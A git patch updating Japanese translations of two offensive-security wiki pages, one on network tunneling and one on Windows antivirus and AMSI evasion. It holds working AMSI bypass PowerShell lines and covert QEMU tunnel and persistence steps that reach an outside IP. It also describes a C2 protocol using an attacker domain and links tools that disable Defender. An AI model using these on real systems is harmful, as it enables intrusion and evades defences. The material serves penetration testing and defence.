From 32ab34d9b8cc046ac4725cc0053d571433273152 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 10:19:43 +0000 Subject: [PATCH] Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src --- .../tunneling-and-port-forwarding.md | 71 +++++-- src/windows-hardening/av-bypass.md | 183 ++++++++++++------ 2 files changed, 173 insertions(+), 81 deletions(-) diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 102ffad71..00fae0818 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -27,7 +27,7 @@ evil-winrm -u username -i Jump ``` ## **SSH** -SSHグラフィカル接続 (X) +SSH グラフィカル接続 (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` @@ -68,7 +68,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tunnel -両方のデバイスで**rootが必要**です(新しいインターフェースを作成するため)し、sshdの設定はrootログインを許可する必要があります:\ +両方のデバイスで**rootが必要**です(新しいインターフェースを作成するため)およびsshdの設定でrootログインを許可する必要があります:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` > [!NOTE] > **セキュリティ – テラピン攻撃 (CVE-2023-48795)** -> 2023年のテラピンダウングレード攻撃により、マンインザミドルが初期SSHハンドシェイクを改ざんし、**任意の転送チャネル**( `-L`, `-R`, `-D` )にデータを注入することができます。クライアントとサーバーの両方がパッチ適用されていることを確認してください(**OpenSSH ≥ 9.6/LibreSSH 6.7**)または、SSHトンネルに依存する前に、`sshd_config`/`ssh_config`で脆弱な`chacha20-poly1305@openssh.com`および`*-etm@openssh.com`アルゴリズムを明示的に無効にしてください。 +> 2023年のテラピンダウングレード攻撃により、マンインザミドルが初期SSHハンドシェイクを改ざんし、**任意の転送チャネル**( `-L`, `-R`, `-D` )にデータを注入することができます。クライアントとサーバーの両方がパッチ適用されていることを確認してください(**OpenSSH ≥ 9.6/LibreSSH 6.7**)または、SSHトンネルに依存する前に、脆弱な `chacha20-poly1305@openssh.com` および `*-etm@openssh.com` アルゴリズムを `sshd_config`/`ssh_config` で明示的に無効にしてください。 ## SSHUTTLE -**ssh**を介して**サブネットワーク**への**トラフィック**をホストを通じて**トンネル**できます。\ -例えば、10.10.10.0/24へのすべてのトラフィックを転送することができます。 +**ssh** を介してホストを通じて **サブネットワーク** への **トラフィック** をすべて **トンネル** できます。\ +例えば、10.10.10.0/24 へのすべてのトラフィックを転送すること。 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKSプロキシ -すべてのインターフェースでリッスンしているteamserverでポートを開き、**ビコーンを通じてトラフィックをルーティングする**ことができます。 +チームサーバーでポートを開き、**ビコーンを通じてトラフィックをルーティングする**ために使用できるすべてのインターフェースでリッスンします。 ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -280,7 +280,7 @@ socat TCP4-LISTEN:,fork TCP4:: & ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` -### SSL Socatを介したMeterpreter +### MeterpreterをSSL Socat経由で ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)、 -このバイナリは被害者のコンピュータで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには: +このバイナリは被害者のマシンで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -401,7 +401,7 @@ Tunnel 2222::443 ## YARP -Microsoftによって作成されたリバースプロキシです。こちらで見つけることができます: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Microsoftによって作成されたリバースプロキシです。ここで見つけることができます: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNSトンネリング @@ -446,12 +446,46 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### プロキシチェインのDNSを変更する -Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNSリクエストをsocksプロキシを通してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。 +Proxychainsは`gethostbyname` libcコールをインターセプトし、TCP DNSリクエストをソックスプロキシを通してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。 ## Goでのトンネル [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) +### カスタムDNS TXT / HTTP JSON C2 (AK47C2) + +Storm-2603アクターは、*のみ* アウトバウンド**DNS**と**プレーンHTTP POST**トラフィックを悪用する**デュアルチャネルC2("AK47C2")**を作成しました - 企業ネットワークでブロックされることがほとんどない2つのプロトコルです。 + +1. **DNSモード (AK47DNS)** +• ランダムな5文字のSessionID(例: `H4T14`)を生成します。 +• *タスクリクエスト*には`1`を、*結果*には`2`を前置きし、異なるフィールド(フラグ、SessionID、コンピュータ名)を連結します。 +• 各フィールドは**ASCIIキー`VHBD@H`でXOR暗号化され**、16進数エンコードされ、ドットで結合されます - 最後に攻撃者が制御するドメインで終わります: + +```text +<1|2>.a..update.updatemicfosoft.com +``` + +• リクエストは**TXT**(およびフォールバック**MG**)レコードのために`DnsQuery()`を使用します。 +• 応答が0xFFバイトを超えると、バックドアはデータを63バイトの部分に**フラグメント**し、マーカーを挿入します: +`stp` これによりC2サーバーはそれらを再順序付けできます。 + +2. **HTTPモード (AK47HTTP)** +• JSONエンベロープを構築します: +```json +{"cmd":"","cmd_id":"","fqdn":"","result":"","type":"task"} +``` +• 全体のブロブはXOR-`VHBD@H` → 16進数 → **`POST /`**のボディとして送信され、ヘッダーは`Content-Type: text/plain`です。 +• 応答は同じエンコーディングに従い、`cmd`フィールドは`cmd.exe /c 2>&1`で実行されます。 + +ブルーチームのメモ +• 最初のラベルが長い16進数で、常に1つの珍しいドメインで終わる異常な**TXTクエリ**を探します。 +• 定数XORキーの後にASCII-16進数が続くのはYARAで簡単に検出できます: `6?56484244?484`(16進数で`VHBD@H`)。 +• HTTPの場合、純粋な16進数で2バイトの倍数であるtext/plain POSTボディをフラグします。 + +{{#note}} +全体のチャネルは**標準RFC準拠のクエリ**内に収まり、各サブドメインラベルを63バイト未満に保つため、ほとんどのDNSログでステルス性を保ちます。 +{{#endnote}} + ## ICMPトンネリング ### Hans @@ -459,7 +493,7 @@ Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNS [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -両方のシステムでルート権限が必要で、tunアダプタを作成し、ICMPエコーリクエストを使用してデータをトンネリングします。 +ルートは、ICMPエコーリクエストを使用してトンネルアダプタを作成し、データをそれらの間でトンネリングするために両方のシステムで必要です。 ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -532,7 +566,7 @@ stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:404 3つのトンネルを開きます: - 2つのTCP -- 1つのHTTP(/tmp/httpbin/ からの静的ファイルの公開) +- /tmp/httpbin/ からの静的ファイルの公開を伴う1つのHTTP ```yaml tunnels: mytcp: @@ -578,7 +612,7 @@ cloudflared tunnel run mytunnel ## FRP (Fast Reverse Proxy) -[`frp`](https://github.com/fatedier/frp)は、**TCP、UDP、HTTP/S、SOCKS、P2P NATホールパンチ**をサポートする、アクティブにメンテナンスされているGoリバースプロキシです。**v0.53.0 (2024年5月)**から、**SSHトンネルゲートウェイ**として機能できるため、ターゲットホストは追加のバイナリなしで、標準のOpenSSHクライアントのみを使用してリバーストンネルを立ち上げることができます。 +[`frp`](https://github.com/fatedier/frp)は、**TCP、UDP、HTTP/S、SOCKS、P2P NATホールパンチング**をサポートする、アクティブにメンテナンスされているGoリバースプロキシです。**v0.53.0 (2024年5月)**から、**SSHトンネルゲートウェイ**として機能できるため、ターゲットホストは追加のバイナリなしで、標準のOpenSSHクライアントのみを使用してリバーストンネルを立ち上げることができます。 ### クラシックリバースTCPトンネル ```bash @@ -612,7 +646,7 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p ## QEMUを使用した隠密VMベースのトンネル -QEMUのユーザーモードネットワーキング(`-netdev user`)は、`hostfwd`と呼ばれるオプションをサポートしており、**ホスト上のTCP/UDPポートをバインドし、それを*ゲスト*に転送します**。 ゲストが完全なSSHデーモンを実行しているとき、hostfwdルールは、エフェメラルVM内に完全に存在する使い捨てSSHジャンプボックスを提供します – すべての悪意のある活動とファイルが仮想ディスク内に留まるため、EDRからC2トラフィックを隠すのに最適です。 +QEMUのユーザーモードネットワーキング(`-netdev user`)は、`hostfwd`と呼ばれるオプションをサポートしており、**ホスト上のTCP/UDPポートをバインドし、それを*ゲスト*に転送します**。 ゲストが完全なSSHデーモンを実行している場合、hostfwdルールは、エフェメラルVM内に完全に存在する使い捨てSSHジャンプボックスを提供します – すべての悪意のある活動とファイルが仮想ディスク内に留まるため、EDRからC2トラフィックを隠すのに最適です。 ### クイックワンライナー ```powershell @@ -628,7 +662,7 @@ qemu-system-x86_64.exe ^ • Windows ホストのポート **2222/tcp** は、ゲスト内の **22/tcp** に透過的に転送されます。 • 攻撃者の視点から見ると、ターゲットは単にポート 2222 を公開しており、そこに到達するパケットは VM 内で実行されている SSH サーバーによって処理されます。 -### VBScript を通じてステルスに起動する +### VBScript を使用してステルスに起動する ```vb ' update.vbs – lived in C:\ProgramData\update Set o = CreateObject("Wscript.Shell") @@ -638,7 +672,7 @@ o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tc ### ゲスト内の持続性 -Tiny Coreはステートレスであるため、攻撃者は通常: +Tiny Coreはステートレスであるため、攻撃者は通常次のようにします: 1. ペイロードを`/opt/123.out`にドロップします。 2. `/opt/bootlocal.sh`に追加します: @@ -650,7 +684,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done 3. ペイロードがシャットダウン時に`mydata.tgz`にパックされるように、`home/tc`と`opt`を`/opt/filetool.lst`に追加します。 -### なぜこれが検出を回避するのか +### これが検出を回避する理由 • 署名されていない実行可能ファイル(`qemu-system-*.exe`)はディスクに触れるのは2つだけで、ドライバやサービスはインストールされていません。 • ホスト上のセキュリティ製品は**無害なループバックトラフィック**を検出します(実際のC2はVM内で終了します)。 @@ -660,7 +694,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done • ユーザーが書き込み可能なパスにある**予期しないQEMU/VirtualBox/KVMバイナリ**に警告を出します。 • `qemu-system*.exe`から発信されるアウトバウンド接続をブロックします。 -• QEMUの起動直後にバインドされる珍しいリスニングポート(2222、10022、…)を探します。 +• QEMUの起動直後にバインドされる珍しいリスニングポート(2222, 10022, …)を探します。 --- @@ -672,5 +706,6 @@ while ! ping -c1 45.77.4.101; do sleep 2; done ## 参考文献 - [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization) +- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index c5ee4635b..d167127dc 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -4,13 +4,19 @@ **このページは** [**@m2rc_p**](https://twitter.com/m2rc_p)**によって書かれました!** +## Stop Defender + +- [defendnot](https://github.com/es3n1n/defendnot): Windows Defenderを停止させるツール。 +- [no-defender](https://github.com/es3n1n/no-defender): 別のAVを偽装してWindows Defenderを停止させるツール。 +- [管理者の場合はDefenderを無効にする](basic-powershell-for-pentesters/README.md) + ## **AV回避方法論** -現在、AVはファイルが悪意のあるものであるかどうかを確認するために、静的検出、動的分析、そしてより高度なEDRの場合は行動分析など、さまざまな方法を使用しています。 +現在、AVはファイルが悪意のあるものであるかどうかを確認するために、静的検出、動的分析、そしてより高度なEDRのための行動分析など、さまざまな方法を使用しています。 ### **静的検出** -静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立てることによって達成され、ファイル自体から情報を抽出することも含まれます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります: +静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイト配列にフラグを立てることによって達成され、ファイル自体から情報を抽出することも含まれます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります: - **暗号化** @@ -18,14 +24,14 @@ - **難読化** -時には、バイナリやスクリプト内のいくつかの文字列を変更するだけでAVを通過できることがありますが、何を難読化しようとしているかによっては、時間がかかる作業になることがあります。 +時には、バイナリやスクリプト内のいくつかの文字列を変更するだけでAVを回避できることがありますが、何を難読化しようとしているかによっては、時間がかかる作業になることがあります。 - **カスタムツール** 独自のツールを開発すれば、既知の悪いシグネチャは存在しませんが、これには多くの時間と労力がかかります。 -> [!NOTE] -> Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。 +> [!TIP] +> Windows Defenderの静的検出に対抗する良い方法は、[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。 実践的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックしてください。 @@ -34,8 +40,8 @@ 動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することです(例:ブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど)。この部分は扱いが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。 - **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。 -- **マシンのリソースをチェック** 通常、サンドボックスは非常に少ないリソース(例:< 2GB RAM)で動作します。そうでなければ、ユーザーのマシンを遅くする可能性があります。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの速度をチェックすることで、すべてがサンドボックスに実装されているわけではありません。 -- **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合は、コンピュータのドメインをチェックして指定したものと一致するかどうかを確認できます。一致しない場合は、プログラムを終了させることができます。 +- **マシンのリソースをチェック** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAM)ため、ユーザーのマシンを遅くすることはできません。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの速度をチェックすることで、すべてがサンドボックスに実装されているわけではありません。 +- **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合、コンピュータのドメインをチェックして指定したものと一致するか確認できます。一致しない場合は、プログラムを終了させることができます。 Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。 @@ -45,14 +51,14 @@ Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THで

Red Team VX Discord #malware-dev チャンネル

-この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、次のことを自問する必要があります: +この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、自分自身に何かを尋ねるべきです: たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**?それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。 -正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。 +正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられるマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。 -> [!NOTE] -> 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目的である場合は、**絶対にVIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。 +> [!TIP] +> 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目標である場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。 ## EXEとDLL @@ -81,7 +87,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija 悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。 -**DLLプロキシング**は、プログラムがプロキシ(および悪意のある)DLLから元のDLLに対して行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。 +**DLLプロキシング**は、プログラムがプロキシ(および悪意のある)DLLから元のDLLに行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。 私は[@flangvik](https://twitter.com/Flangvik/)の[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)プロジェクトを使用します。 @@ -92,7 +98,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn) 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) ``` -最後のコマンドは、DLLソースコードテンプレートと、元の名前を変更したDLLの2つのファイルを生成します。 +最後のコマンドは、DLLソースコードテンプレートと、元の名前が変更されたDLLの2つのファイルを生成します。
``` @@ -104,7 +110,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
-> [!NOTE] +> [!TIP] > 私は**強く推奨**します、DLLサイドローディングについての[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)を視聴し、また[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG_WNpE)を見て、私たちがより深く議論したことについて学んでください。 ## [**Freeze**](https://github.com/optiv/Freeze) @@ -120,17 +126,17 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez ```
-> [!NOTE] +> [!TIP] > 回避は単なる猫とネズミのゲームであり、今日機能するものが明日検出される可能性があるため、可能であれば1つのツールに依存せず、複数の回避技術を組み合わせて試みてください。 ## AMSI (アンチマルウェアスキャンインターフェース) -AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンできたため、ペイロードを**直接メモリ内で実行**できれば、AVはそれを防ぐための十分な可視性を持っていませんでした。 +AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンできたため、ペイロードを**直接メモリ内で**実行できれば、AVはそれを防ぐための十分な可視性を持っていませんでした。 -AMSI機能はWindowsのこれらのコンポーネントに統合されています。 +AMSI機能は、Windowsのこれらのコンポーネントに統合されています。 - ユーザーアカウント制御、またはUAC(EXE、COM、MSI、またはActiveXインストールの昇格) -- PowerShell(スクリプト、対話的使用、動的コード評価) +- PowerShell(スクリプト、対話型使用、および動的コード評価) - Windows Script Host(wscript.exeおよびcscript.exe) - JavaScriptおよびVBScript - Office VBAマクロ @@ -153,21 +159,21 @@ AMSIを回避する方法はいくつかあります: AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。 -ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力を持っているため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。 +ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力を持っているため、難読化は行い方によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。 - **AMSIバイパス** -AMSIはpowershell(またはcscript.exe、wscript.exeなど)のプロセスにDLLを読み込むことによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。 +AMSIはpowershell(またはcscript.exe、wscript.exeなど)のプロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。 **エラーを強制する** -AMSIの初期化を失敗させる(amsiInitFailed)ことで、現在のプロセスに対してスキャンが開始されなくなります。これは元々[Matt Graeber](https://twitter.com/mattifestation)によって公開され、Microsoftはより広範な使用を防ぐためのシグネチャを開発しました。 +AMSIの初期化を失敗させる(amsiInitFailed)ことで、現在のプロセスに対してスキャンが開始されない結果になります。これは元々[Matt Graeber](https://twitter.com/mattifestation)によって公開され、Microsoftはより広範な使用を防ぐためのシグネチャを開発しました。 ```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` -たった1行のPowerShellコードで、現在のPowerShellプロセスに対してAMSIを無効にすることができました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。 +すべては、現在のpowershellプロセスでAMSIを無効にするための1行のpowershellコードだけで済みました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。 -こちらは、私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正されたAMSIバイパスです。 +ここに、私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正されたAMSIバイパスがあります。 ```bash Try{#Ams1 bypass technic nº 2 $Xdatabase = 'Utils';$Homedrive = 'si' @@ -181,29 +187,29 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") $Spotfix.SetValue($null,$true) }Catch{Throw $_} ``` -注意してください。この投稿が公開されると、おそらくフラグが立てられるので、検出されないことを計画している場合は、コードを公開しない方が良いでしょう。 +Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected. **メモリパッチ** -この技術は最初に [@RastaMouse](https://twitter.com/_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけ、それをE_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。 +この技術は最初に [@RastaMouse](https://twitter.com/_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけて、E_INVALIDARGのコードを返すように指示を上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。 -> [!NOTE] -> より詳細な説明については [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) をお読みください。 +> [!TIP] +> より詳細な説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)をお読みください。 -また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については [**このページ**](basic-powershell-for-pentesters/index.html#amsi-bypass) と [**このリポジトリ**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) をチェックしてください。 +また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/index.html#amsi-bypass)や[**このリポジトリ**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。 -このツール [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) もAMSIをバイパスするスクリプトを生成します。 +このツール[**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail)もAMSIをバイパスするスクリプトを生成します。 **検出された署名を削除する** -**[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** や **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** のようなツールを使用して、現在のプロセスのメモリから検出されたAMSI署名を削除できます。このツールは、現在のプロセスのメモリをスキャンしてAMSI署名を見つけ、それをNOP命令で上書きすることによって、実質的にメモリから削除します。 +**[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)**や**[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**のようなツールを使用して、現在のプロセスのメモリから検出されたAMSI署名を削除できます。このツールは、現在のプロセスのメモリをスキャンしてAMSI署名を見つけ、NOP命令で上書きすることによって、実質的にメモリから削除します。 **AMSIを使用するAV/EDR製品** -AMSIを使用するAV/EDR製品のリストは **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** で見つけることができます。 +AMSIを使用するAV/EDR製品のリストは、**[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**で見つけることができます。 **PowerShellバージョン2を使用する** -PowerShellバージョン2を使用すると、AMSIはロードされないため、AMSIによるスキャンなしでスクリプトを実行できます。次のようにできます: +PowerShellバージョン2を使用すると、AMSIはロードされないため、AMSIによるスキャンなしでスクリプトを実行できます。これを行うことができます: ```bash powershell.exe -version 2 ``` @@ -211,7 +217,7 @@ powershell.exe -version 2 PowerShell ロギングは、システム上で実行されたすべての PowerShell コマンドをログに記録する機能です。これは監査やトラブルシューティングに役立ちますが、**検出を回避したい攻撃者にとっては問題となる可能性があります**。 -PowerShell ロギングをバイパスするには、次の技術を使用できます: +PowerShell ロギングをバイパスするには、以下の技術を使用できます: - **PowerShell トランスクリプションとモジュール ロギングを無効にする**: この目的のために、[https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) のようなツールを使用できます。 - **PowerShell バージョン 2 を使用する**: PowerShell バージョン 2 を使用すると、AMSI がロードされないため、AMSI によるスキャンなしでスクリプトを実行できます。これを行うには: `powershell.exe -version 2` @@ -219,19 +225,19 @@ PowerShell ロギングをバイパスするには、次の技術を使用でき ## Obfuscation -> [!NOTE] +> [!TIP] > いくつかの難読化技術はデータを暗号化することに依存しており、これによりバイナリのエントロピーが増加し、AV や EDR による検出が容易になります。これに注意し、機密性が高いか隠す必要があるコードの特定のセクションにのみ暗号化を適用することをお勧めします。 C# のクリアテキストコードを**難読化**したり、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリを難読化**するために使用できるツールはいくつかあります: -- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET アプリケーション用の優れたオープンソースの難読化ツールです。制御フローの難読化、アンチデバッグ、アンチ改ざん、文字列暗号化など、さまざまな保護技術を提供します。特定のコードのチャンクを難読化することもできるため、お勧めです。 +- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): .NET アプリケーション用の優れたオープンソースの難読化ツールです。制御フローの難読化、アンチデバッグ、アンチ改ざん、文字列暗号化など、さまざまな保護技術を提供します。特定のコードのチャンクを難読化することも可能なため、お勧めです。 - 